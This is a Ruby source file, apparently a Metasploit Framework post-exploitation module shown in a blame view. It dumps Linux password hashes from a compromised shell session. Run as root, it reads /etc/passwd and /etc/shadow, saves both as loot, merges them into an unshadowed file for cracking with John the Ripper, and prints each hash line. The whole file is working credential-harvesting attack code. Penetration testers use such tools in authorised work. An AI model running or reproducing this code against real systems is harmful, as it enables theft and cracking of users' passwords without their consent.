2011-06-01 22:57:36 +00:00
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# ## This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/framework/
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'rex'
|
|
|
|
require 'msf/core/post/common'
|
|
|
|
require 'msf/core/post/file'
|
|
|
|
require 'msf/core/post/linux/priv'
|
|
|
|
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Post
|
|
|
|
|
|
|
|
include Msf::Post::Common
|
|
|
|
include Msf::Post::File
|
|
|
|
include Msf::Post::Priv
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super( update_info( info,
|
|
|
|
'Name' => 'Linux Gather Dump Password Hashes for Linux Systems',
|
|
|
|
'Description' => %q{ Post Module to dump the password hashes for all users on a Linux System},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'Platform' => [ 'linux' ],
|
|
|
|
'SessionTypes' => [ 'shell' ]
|
|
|
|
))
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptBool.new('VERBOSE', [false, 'Show list of Packages.', false]),
|
|
|
|
], self.class)
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
# Run Method for when run command is issued
|
|
|
|
def run
|
|
|
|
if is_root?
|
|
|
|
passwd_file = read_file("/etc/passwd")
|
|
|
|
shadow_file = read_file("/etc/shadow")
|
|
|
|
|
|
|
|
# Save in loot the passwd and shadow file
|
|
|
|
store_loot("linux.shadow", "text/plain", session, shadow_file, "shadow.tx", "Linux Password Shadow File")
|
|
|
|
store_loot("linux.passwd", "text/plain", session, passwd_file, "passwd.tx", "Linux Passwd File")
|
|
|
|
|
|
|
|
# Unshadow the files
|
|
|
|
john_file = unshadow(passwd_file, shadow_file)
|
|
|
|
john_file.each_line do |l|
|
|
|
|
print_good(l.chomp)
|
|
|
|
end
|
|
|
|
# Save pwd file
|
|
|
|
upassf = store_loot("linux.hashes", "text/plain", session, john_file, "unshadowed_passwd.pwd", "Linux Unshadowed Password File")
|
|
|
|
print_good("Unshadowed Password File: #{upassf}")
|
|
|
|
|
|
|
|
else
|
|
|
|
print_error("You must run this module as root!")
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
def unshadow(pf,sf)
|
|
|
|
unshadowed = ""
|
|
|
|
sf.each_line do |sl|
|
|
|
|
pass = sl.scan(/^\w*:([^:]*)/).join
|
2011-06-10 11:28:30 +00:00
|
|
|
if pass !~ /^\*|^!$/
|
2011-06-01 22:57:36 +00:00
|
|
|
user = sl.scan(/(^\w*):/).join
|
|
|
|
pf.each_line do |pl|
|
|
|
|
if pl.match(/^#{user}:/)
|
|
|
|
unshadowed << pl.gsub(/:x:/,":#{pass}:")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
return unshadowed
|
|
|
|
end
|
|
|
|
end
|